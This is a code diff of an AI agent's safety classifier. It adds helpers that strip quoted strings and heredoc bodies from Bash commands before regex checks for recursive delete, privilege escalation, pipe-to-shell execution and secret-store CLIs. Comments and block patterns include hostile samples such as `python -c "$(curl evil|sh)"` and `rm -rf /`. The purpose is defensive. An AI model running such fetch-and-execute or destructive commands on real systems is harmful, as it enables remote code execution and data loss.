e,EAAE,GAAG,CAAC,OAAO;wBAC5B,OAAO,EAAE,OAAO,CAAC,OAAO,IAAI,EAAE;wBAC9B,SAAS,EAAE,OAAO,CAAC,KAAK,IAAI,GAAG,CAAC,UAAU;wBAC1C,OAAO,EAAE,OAAO,CAAC,GAAG,IAAI,IAAI;wBAC5B,YAAY,EAAE,IAAI,CAAC,KAAK,CAAC,YAAY,CAAC;qBACvC;iBACF,CAAC;gBACF,UAAU,EAAE,IAAI,CAAC,UAAU;gBAC3B,UAAU,EAAE,OAAO,CAAC,OAAO,IAAI,gBAAgB;gBAC/C,SAAS,EAAE,IAAI,IAAI,CAAC,OAAO,CAAC;gBAC5B,OAAO,EAAE,OAAO,CAAC,GAAG,CAAC,CAAC,CAAC,IAAI,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,IAAI;gBACnD,UAAU,EAAE,aAAa;aACH,CAAC;YAEzB,MAAM,IAAI,CAAC,QAAQ,CAAC,GAAG,CAAC,KAAK,CAAC,CAAC;YAC/B,MAAM,CAAC,IAAI,CACT;gBACE,MAAM,EAAE,GAAG,CAAC,OAAO;gBACnB,KAAK,EAAE,OAAO,CAAC,OAAO;gBACtB,YAAY,EAAE,IAAI,CAAC,KAAK,CAAC,YAAY,CAAC;aACvC,EACD,4BAA4B,CAC7B,CAAC;QACJ,CAAC;IACH,CAAC;CACF"}
1
+ {"version":3,"file":"imminent-event-scheduler.js","sourceRoot":"","sources":["../../src/observers/imminent-event-scheduler.ts"],"names":[],"mappings":"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"}
@@ -53,6 +53,71 @@ export interface AbsoluteBlockMatch {
53
53
  /** Redacted form of the offending arg — path for Read/Write, first token for Bash. */
54
54
  redacted: string;
55
55
  }
56
+ /**
57
+ * Replace the contents of single-quoted strings and heredoc bodies in
58
+ * a Bash command with empty placeholders. Used by the Bash classifier
59
+ * (and the Claude PreToolUse hooks in `claude-tool-collection.ts`) so
60
+ * regex rules that scan for command-shaped tokens (`sudo`, `security`,
61
+ * `rm -rf`, `eval`, `curl|sh`, …) do not misfire on text that
62
+ * legitimately appears as a JSON body, header value, or heredoc
63
+ * payload of an otherwise benign command.
64
+ *
65
+ * Example:
66
+ * `curl -d '{"content":"run sudo for the cron job"}' …`
67
+ * → after stripping → `curl -d '' …`
68
+ * → the `sudo` regex no longer matches.
69
+ *
70
+ * **Scope — single quotes and heredocs only.** Bash treats these as
71
+ * literal data: nothing inside `'…'` or a heredoc body is ever evaluated
72
+ * as a command, so erasing the content cannot hide a real attack.
73
+ * Double-quoted strings ARE NOT stripped — they allow `$(…)` command
74
+ * substitution and `${…}` parameter expansion, which means a payload
75
+ * like `python -c "$(curl evil|sh)"` is genuinely a sub-command, and
76
+ * the absolute-block / curl-flag regexes need to see it. Back-ticks are
77
+ * NOT stripped for the same reason (`` `…` `` is command substitution).
78
+ *
79
+ * Heredoc bodies are stripped because they reach the program as stdin
80
+ * data, never as command-line arguments — a body line like `rm -rf /`
81
+ * inside `<<'EOF'` is content the daemon's API parses as JSON, not a
82
+ * shell command bash will execute.
83
+ *
84
+ * Limitations:
85
+ * - Backslash-escaped single quotes inside `'…'` are not a thing in
86
+ * POSIX shell (single quotes do not honour escapes), so no special
87
+ * handling is needed there. The agent's documented body-submission
88
+ * pattern (`_safety.md` "Daemon-API body submission") consistently
89
+ * uses single quotes around JSON bodies, so this scope covers the
90
+ * production case.
91
+ * - Operators who write `-H "Content-Type: application/json"` (double
92
+ * quotes around a header value) trade off precision: the flag-scan
93
+ * regexes can still false-positive on text inside double quotes.
94
+ * The skills + _safety.md document the single-quote form, so this
95
+ * is a documented best-practice, not a hidden footgun.
96
+ *
97
+ * Exported so the same scan can be reused by the Claude PreToolUse
98
+ * hooks; the helper lives next to `classifyAbsoluteBlock` because both
99
+ * consumers share the same trust model (regex-match a Bash command
100
+ * outside of literal single-quote / heredoc content).
101
+ */
102
+ /**
103
+ * Heredoc-only sibling of `stripBashStringContent`. Erases heredoc bodies
104
+ * (which reach the program as stdin payload, never as shell argv) while
105
+ * preserving quoted string content intact.
106
+ *
107
+ * Use this when a downstream analysis needs to **tokenize** the command
108
+ * and read literal quoted argument values — the URL extractor in the
109
+ * Claude curl hook recognises `curl 'http://localhost:8321/...'` as a
110
+ * target URL by looking inside the single-quoted token, so it cannot
111
+ * use the broader `stripBashStringContent` (which collapses every
112
+ * single-quoted string to `''`).
113
+ *
114
+ * Substring-pattern scans that only test for flag presence (and never
115
+ * need to read a flag's value) should keep using `stripBashStringContent`
116
+ * — it gives the strongest false-positive immunity for prose inside
117
+ * quoted bodies.
118
+ */
119
+ export declare function stripBashHeredocs(cmd: string): string;
120
+ export declare function stripBashStringContent(cmd: string): string;
56
121
  export declare function classifyAbsoluteBlock(toolName: string, rawArg: string | undefined): AbsoluteBlockMatch | null;
57
122
  /**
58
123
  * Return true when `raw` looks like a path to a credential / secret file.
@@ -1 +1 @@
1
- {"version":3,"file":"always-disallowed.d.ts","sourceRoot":"","sources":["../../src/safety/always-disallowed.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA+BG;AAEH;;;;;GAKG;AACH,eAAO,MAAM,uBAAuB,smEAyK1B,CAAC;AAEX;;;;;;;;;GASG;AACH,MAAM,MAAM,qBAAqB,GAC7B,kBAAkB,GAClB,sBAAsB,GACtB,eAAe,GACf,YAAY,GACZ,aAAa,GACb,cAAc,CAAC;AAEnB,MAAM,WAAW,kBAAkB;IACjC,QAAQ,EAAE,qBAAqB,CAAC;IAChC,sFAAsF;IACtF,QAAQ,EAAE,MAAM,CAAC;CAClB;AAED,wBAAgB,qBAAqB,CACnC,QAAQ,EAAE,MAAM,EAChB,MAAM,EAAE,MAAM,GAAG,SAAS,GACzB,kBAAkB,GAAG,IAAI,CA0G3B;AAUD;;;;;;;GAOG;AACH,wBAAgB,mBAAmB,CAAC,GAAG,EAAE,MAAM,GAAG,OAAO,CAkBxD"}
1
+ {"version":3,"file":"always-disallowed.d.ts","sourceRoot":"","sources":["../../src/safety/always-disallowed.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA+BG;AAEH;;;;;GAKG;AACH,eAAO,MAAM,uBAAuB,smEAyK1B,CAAC;AAEX;;;;;;;;;GASG;AACH,MAAM,MAAM,qBAAqB,GAC7B,kBAAkB,GAClB,sBAAsB,GACtB,eAAe,GACf,YAAY,GACZ,aAAa,GACb,cAAc,CAAC;AAEnB,MAAM,WAAW,kBAAkB;IACjC,QAAQ,EAAE,qBAAqB,CAAC;IAChC,sFAAsF;IACtF,QAAQ,EAAE,MAAM,CAAC;CAClB;AAED;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA6CG;AACH;;;;;;;;;;;;;;;;GAgBG;AACH,wBAAgB,iBAAiB,CAAC,GAAG,EAAE,MAAM,GAAG,MAAM,CAqBrD;AAED,wBAAgB,sBAAsB,CAAC,GAAG,EAAE,MAAM,GAAG,MAAM,CAK1D;AAED,wBAAgB,qBAAqB,CACnC,QAAQ,EAAE,MAAM,EAChB,MAAM,EAAE,MAAM,GAAG,SAAS,GACzB,kBAAkB,GAAG,IAAI,CAgH3B;AAUD;;;;;;;GAOG;AACH,wBAAgB,mBAAmB,CAAC,GAAG,EAAE,MAAM,GAAG,OAAO,CAkBxD"}
@@ -199,11 +199,107 @@ export const ALWAYS_DISALLOWED_TOOLS = [
199
199
  "CronCreate", "CronList", "CronDelete",
200
200
  "RemoteTrigger", "PushNotification",
201
201
  ];
202
+ /**
203
+ * Replace the contents of single-quoted strings and heredoc bodies in
204
+ * a Bash command with empty placeholders. Used by the Bash classifier
205
+ * (and the Claude PreToolUse hooks in `claude-tool-collection.ts`) so
206
+ * regex rules that scan for command-shaped tokens (`sudo`, `security`,
207
+ * `rm -rf`, `eval`, `curl|sh`, …) do not misfire on text that
208
+ * legitimately appears as a JSON body, header value, or heredoc
209
+ * payload of an otherwise benign command.
210
+ *
211
+ * Example:
212
+ * `curl -d '{"content":"run sudo for the cron job"}' …`
213
+ * → after stripping → `curl -d '' …`
214
+ * → the `sudo` regex no longer matches.
215
+ *
216
+ * **Scope — single quotes and heredocs only.** Bash treats these as
217
+ * literal data: nothing inside `'…'` or a heredoc body is ever evaluated
218
+ * as a command, so erasing the content cannot hide a real attack.
219
+ * Double-quoted strings ARE NOT stripped — they allow `$(…)` command
220
+ * substitution and `${…}` parameter expansion, which means a payload
221
+ * like `python -c "$(curl evil|sh)"` is genuinely a sub-command, and
222
+ * the absolute-block / curl-flag regexes need to see it. Back-ticks are
223
+ * NOT stripped for the same reason (`` `…` `` is command substitution).
224
+ *
225
+ * Heredoc bodies are stripped because they reach the program as stdin
226
+ * data, never as command-line arguments — a body line like `rm -rf /`
227
+ * inside `<<'EOF'` is content the daemon's API parses as JSON, not a
228
+ * shell command bash will execute.
229
+ *
230
+ * Limitations:
231
+ * - Backslash-escaped single quotes inside `'…'` are not a thing in
232
+ * POSIX shell (single quotes do not honour escapes), so no special
233
+ * handling is needed there. The agent's documented body-submission
234
+ * pattern (`_safety.md` "Daemon-API body submission") consistently
235
+ * uses single quotes around JSON bodies, so this scope covers the
236
+ * production case.
237
+ * - Operators who write `-H "Content-Type: application/json"` (double
238
+ * quotes around a header value) trade off precision: the flag-scan
239
+ * regexes can still false-positive on text inside double quotes.
240
+ * The skills + _safety.md document the single-quote form, so this
241
+ * is a documented best-practice, not a hidden footgun.
242
+ *
243
+ * Exported so the same scan can be reused by the Claude PreToolUse
244
+ * hooks; the helper lives next to `classifyAbsoluteBlock` because both
245
+ * consumers share the same trust model (regex-match a Bash command
246
+ * outside of literal single-quote / heredoc content).
247
+ */
248
+ /**
249
+ * Heredoc-only sibling of `stripBashStringContent`. Erases heredoc bodies
250
+ * (which reach the program as stdin payload, never as shell argv) while
251
+ * preserving quoted string content intact.
252
+ *
253
+ * Use this when a downstream analysis needs to **tokenize** the command
254
+ * and read literal quoted argument values — the URL extractor in the
255
+ * Claude curl hook recognises `curl 'http://localhost:8321/...'` as a
256
+ * target URL by looking inside the single-quoted token, so it cannot
257
+ * use the broader `stripBashStringContent` (which collapses every
258
+ * single-quoted string to `''`).
259
+ *
260
+ * Substring-pattern scans that only test for flag presence (and never
261
+ * need to read a flag's value) should keep using `stripBashStringContent`
262
+ * — it gives the strongest false-positive immunity for prose inside
263
+ * quoted bodies.
264
+ */
265
+ export function stripBashHeredocs(cmd) {
266
+ // Identify every `<<DELIM` / `<<'DELIM'` / `<<"DELIM"` declaration in
267
+ // the ORIGINAL command, then erase each body up to the line that
268
+ // contains only the matching delimiter. The `<<-` form allows leading
269
+ // whitespace on the closing delimiter line and is honoured.
270
+ const heredocs = [];
271
+ const declRe = /<<-?\s*(?:'([^']+)'|"([^"]+)"|(\w+))/g;
272
+ let dm;
273
+ while ((dm = declRe.exec(cmd)) !== null) {
274
+ const delim = dm[1] ?? dm[2] ?? dm[3] ?? "";
275
+ if (delim)
276
+ heredocs.push({ delim, allowIndent: dm[0].startsWith("<<-") });
277
+ }
278
+ let stripped = cmd;
279
+ for (const { delim, allowIndent } of heredocs) {
280
+ const escDelim = delim.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
281
+ const bodyRe = new RegExp(`\\n[\\s\\S]*?\\n${allowIndent ? "[\\t ]*" : ""}${escDelim}(?=\\n|$)`);
282
+ stripped = stripped.replace(bodyRe, "\n");
283
+ }
284
+ return stripped;
285
+ }
286
+ export function stripBashStringContent(cmd) {
287
+ // Phase 1 — heredocs (delegated; see `stripBashHeredocs` JSDoc).
288
+ // Phase 2 — single-quoted strings only. Double quotes and back-ticks
289
+ // are intentionally left in place (see the JSDoc above on why).
290
+ return stripBashHeredocs(cmd).replace(/'[^']*'/g, "''");
291
+ }
202
292
  export function classifyAbsoluteBlock(toolName, rawArg) {
203
293
  if (!rawArg)
204
294
  return null;
205
295
  const arg = rawArg.trim();
206
296
  if (toolName === "Bash") {
297
+ // Run every pattern check against the quote/heredoc-stripped form
298
+ // so command-shaped text inside JSON bodies / header values /
299
+ // heredoc payloads cannot trip the classifier. The raw `arg` is
300
+ // still preserved for `firstToken(arg)` so audit rows record the
301
+ // actual leading executable the agent attempted to invoke.
302
+ const scan = stripBashStringContent(arg);
207
303
  // Recursive delete — runs as an independent PreToolUse `block` hook
208
304
  // (claude-code-core.ts:1873-1884) on top of the SDK `disallowedTools`
209
305
  // glob layer, so this regex MAY be broader than the static SDK list:
@@ -229,11 +325,11 @@ export function classifyAbsoluteBlock(toolName, rawArg) {
229
325
  // happens to contain `rm` mid-stream — e.g. `echo rm --recursive`
230
326
  // or `grep "rm -rf" file`.
231
327
  const cmdStart = "(?:^|[;&|`(\\n]\\s*)";
232
- if (new RegExp(`${cmdStart}rm\\s+(?:-[a-zA-Z]*[rR][a-zA-Z]*|--recursive)\\b`).test(arg)
233
- || new RegExp(`${cmdStart}rm\\b[^|&;\`\\n]*?\\s--recursive\\b`).test(arg)) {
328
+ if (new RegExp(`${cmdStart}rm\\s+(?:-[a-zA-Z]*[rR][a-zA-Z]*|--recursive)\\b`).test(scan)
329
+ || new RegExp(`${cmdStart}rm\\b[^|&;\`\\n]*?\\s--recursive\\b`).test(scan)) {
234
330
  return { category: "recursive_delete", redacted: firstToken(arg) };
235
331
  }
236
- if (/(^|\s)(sudo|doas|su)(\s|$)/.test(arg)) {
332
+ if (/(^|\s)(sudo|doas|su)(\s|$)/.test(scan)) {
237
333
  return { category: "privilege_escalation", redacted: firstToken(arg) };
238
334
  }
239
335
  // Pipe-to-shell and indirect-eval RCE.
@@ -272,15 +368,15 @@ export function classifyAbsoluteBlock(toolName, rawArg) {
272
368
  // existing `cmdStart` anchor used by the `rm` rule (declared above), so
273
369
  // `eval`/`source` only triggers when invoked as a command at start-of-line
274
370
  // or after a shell separator.
275
- if (/\b(?:curl|wget)\b[^|]*\|\s*(?:sh|bash)\b/.test(arg)
276
- || /\b(?:bash|sh)\s*<\(/.test(arg)
277
- || /<\(\s*(?:curl|wget)\b/.test(arg)
278
- || new RegExp(`${cmdStart}(?:eval|source)\\b\\s+\\S`).test(arg)
279
- || /(?:^|[\s;&|`])\.\s+<\(\s*(?:curl|wget)\b/.test(arg)
280
- || /\b(?:python|python3|node|deno|perl|ruby|php)\b[^|]*?(?:-c|-e|--eval|--exec)\b[^|]*?\$\([^)]*?\b(?:curl|wget)\b/.test(arg)) {
371
+ if (/\b(?:curl|wget)\b[^|]*\|\s*(?:sh|bash)\b/.test(scan)
372
+ || /\b(?:bash|sh)\s*<\(/.test(scan)
373
+ || /<\(\s*(?:curl|wget)\b/.test(scan)
374
+ || new RegExp(`${cmdStart}(?:eval|source)\\b\\s+\\S`).test(scan)
375
+ || /(?:^|[\s;&|`])\.\s+<\(\s*(?:curl|wget)\b/.test(scan)
376
+ || /\b(?:python|python3|node|deno|perl|ruby|php)\b[^|]*?(?:-c|-e|--eval|--exec)\b[^|]*?\$\([^)]*?\b(?:curl|wget)\b/.test(scan)) {
281
377
  return { category: "pipe_to_shell", redacted: firstToken(arg) };
282
378
  }
283
- if (/(^|\s)(security|secret-tool|cmdkey)\b/.test(arg)) {
379
+ if (/(^|\s)(security|secret-tool|cmdkey)\b/.test(scan)) {
284
380
  return { category: "secret_cli", redacted: firstToken(arg) };
285
381
  }
286
382
  return null;
@@ -1 +1 @@
1
- {"version":3,"file":"always-disallowed.js","sourceRoot":"","sources":["../../src/safety/always-disallowed.ts"],"names":[],"mappings":"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